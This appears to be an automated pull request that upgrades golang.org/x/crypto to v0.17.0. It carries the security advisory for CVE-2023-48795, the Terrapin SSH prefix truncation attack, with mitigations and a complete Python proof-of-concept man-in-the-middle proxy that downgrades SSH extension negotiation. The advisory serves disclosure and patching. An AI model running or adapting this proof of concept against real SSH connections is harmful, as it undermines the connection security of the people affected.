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This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| golang.org/x/crypto | require | minor | `v0.16.0` -> `v0.17.0` |

### GitHub Vulnerability Alerts

####
[CVE-2023-48795](https://togithub.com/warp-tech/russh/security/advisories/GHSA-45x7-px36-x8w8)

### Summary

Russh v0.40.1 and earlier is vulnerable to a novel prefix truncation
attack (a.k.a. Terrapin attack), which allows a man-in-the-middle
attacker to strip an arbitrary number of messages right after the
initial key exchange, breaking SSH extension negotiation (RFC8308) in
the process and thus downgrading connection security.

### Mitigations

To mitigate this protocol vulnerability, OpenSSH suggested a so-called
"strict kex" which alters the SSH handshake to ensure a
Man-in-the-Middle attacker cannot introduce unauthenticated messages as
well as convey sequence number manipulation across handshakes. Support
for strict key exchange has been added to Russh in the patched version.

**Warning: To take effect, both the client and server must support this
countermeasure.**

As a stop-gap measure, peers may also (temporarily) disable the affected
algorithms and use unaffected alternatives like AES-GCM instead until
patches are available.

### Details

The SSH specifications of ChaCha20-Poly1305
(chacha20-poly1305@​openssh.com) and Encrypt-then-MAC
(*[email protected] MACs) are vulnerable against an arbitrary prefix
truncation attack (a.k.a. Terrapin attack). This allows for an extension
negotiation downgrade by stripping the SSH_MSG_EXT_INFO sent after the
first message after SSH_MSG_NEWKEYS, downgrading security, and disabling
attack countermeasures in some versions of OpenSSH. When targeting
Encrypt-then-MAC, this attack requires the use of a CBC cipher to be
practically exploitable due to the internal workings of the cipher mode.
Additionally, this novel attack technique can be used to exploit
previously unexploitable implementation flaws in a Man-in-the-Middle
scenario.

The attack works by an attacker injecting an arbitrary number of
SSH_MSG_IGNORE messages during the initial key exchange and consequently
removing the same number of messages just after the initial key exchange
has concluded. This is possible due to missing authentication of the
excess SSH_MSG_IGNORE messages and the fact that the implicit sequence
numbers used within the SSH protocol are only checked after the initial
key exchange.

In the case of ChaCha20-Poly1305, the attack is guaranteed to work on
every connection as this cipher does not maintain an internal state
other than the message's sequence number. In the case of
Encrypt-Then-MAC, practical exploitation requires the use of a CBC
cipher; while theoretical integrity is broken for all ciphers when using
this mode, message processing will fail at the application layer for CTR
and stream ciphers.

For more details and a pre-print of the associated research paper, see
[https://terrapin-attack.com](https://terrapin-attack.com). This website
is not affiliated with Russh in any way.

### PoC

<details>
<summary>Extension Negotiation Downgrade Attack
(chacha20-poly1305@&#8203;openssh.com)</summary>
  
  ```python

#!/usr/bin/python3
import socket
from binascii import unhexlify
from threading import Thread
from time import sleep


#####################################################################################

## Proof of Concept for the extension downgrade attack ##
## ##

## Variant: ChaCha20-Poly1305 ##
## ##

## Client(s) tested: OpenSSH 9.5p1 / PuTTY 0.79 ##
## Server(s) tested: OpenSSH 9.5p1 ##

## ##
## Licensed under Apache License 2.0
http://www.apache.org/licenses/LICENSE-2.0 ##


#####################################################################################

# IP and port for the TCP proxy to bind to
PROXY_IP = '127.0.0.1'
PROXY_PORT = 2222

# IP and port of the server
SERVER_IP = '127.0.0.1'
SERVER_PORT = 22

LENGTH_FIELD_LENGTH = 4

def pipe_socket_stream(in_socket, out_socket):
    try:
        while True:
            data = in_socket.recv(4096)
            if len(data) == 0:
                break
            out_socket.send(data)
    except ConnectionResetError:
        print("[!] Socket connection has been reset. Closing sockets.")
    except OSError:
print("[!] Sockets closed by another thread. Terminating
pipe_socket_stream thread.")
    in_socket.close()
    out_socket.close()

rogue_msg_ignore = unhexlify('0000000C060200000000000000000000')
def perform_attack(client_socket, server_socket):
    # Version exchange
    client_vex = client_socket.recv(255)
    server_vex = server_socket.recv(255)
    client_socket.send(server_vex)
    server_socket.send(client_vex)
    # SSH_MSG_KEXINIT
    client_kexinit = client_socket.recv(35000)
    server_kexinit = server_socket.recv(35000)
    client_socket.send(server_kexinit)
    server_socket.send(client_kexinit)
    # Client will now send the key exchange INIT
    client_kex_init = client_socket.recv(35000)
    server_socket.send(client_kex_init)
    # Insert ignore message (to client)
    client_socket.send(rogue_msg_ignore)
    # Wait half a second here to avoid missing EXT_INFO
    # Can be solved by counting bytes as well
    sleep(0.5)
    # KEX_REPLY / NEW_KEYS / EXT_INFO
    server_response = server_socket.recv(35000)
    # Strip EXT_INFO before forwarding server_response to client
    # Length fields of KEX_REPLY and NEW_KEYS are still unencrypted
server_kex_reply_length = LENGTH_FIELD_LENGTH +
int.from_bytes(server_response[:LENGTH_FIELD_LENGTH])
    server_newkeys_start = server_kex_reply_length
server_newkeys_length = LENGTH_FIELD_LENGTH +
int.from_bytes(server_response[server_newkeys_start:server_newkeys_start
+ LENGTH_FIELD_LENGTH])
    server_extinfo_start = server_newkeys_start + server_newkeys_length
    client_socket.send(server_response[:server_extinfo_start])

if __name__ == '__main__':
print("--- Proof of Concept for extension downgrade attack
(ChaCha20-Poly1305) ---")
    mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    mitm_socket.bind((PROXY_IP, PROXY_PORT))
    mitm_socket.listen(5)

print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)}
for incoming connections...")
    try:
        while True:
            client_socket, client_addr = mitm_socket.accept()
            print(f"[+] Accepted connection from: {client_addr}")
print(f"[+] Establishing new target connection to {(SERVER_IP,
SERVER_PORT)}.")
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server_socket.connect((SERVER_IP, SERVER_PORT))
            print("[+] Performing extension downgrade")
            perform_attack(client_socket, server_socket)
print("[+] Downgrade performed. Spawning new forwarding threads to
handle client connection from now on.")
forward_client_to_server_thread = Thread(target=pipe_socket_stream,
args=(client_socket, server_socket), daemon=True)
            forward_client_to_server_thread.start()
forward_server_to_client_thread = Thread(target=pipe_socket_stream,
args=(server_socket, client_socket), daemon=True)
            forward_server_to_client_thread.start()
    except KeyboardInterrupt:
        client_socket.close()
        server_socket.close()
        mitm_socket.close()
  ```
</details>

### Impact

This attack targets the specification of ChaCha20-Poly1305
(chacha20-poly1305@&#8203;openssh.com) and Encrypt-then-MAC
(*[email protected]), which are widely adopted by well-known SSH
implementations and can be considered de-facto standard. These
algorithms can be practically exploited; however, in the case of
Encrypt-Then-MAC, we additionally require the use of a CBC cipher. As a
consequence, this attack works against all well-behaving SSH
implementations supporting either of those algorithms and can be used to
downgrade (but not fully strip) connection security in case SSH
extension negotiation (RFC8308) is supported. The attack may also enable
attackers to exploit certain implementation flaws in a man-in-the-middle
(MitM) scenario.

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github.com/stretchr/testify v1.8.4
golang.org/x/crypto v0.16.0
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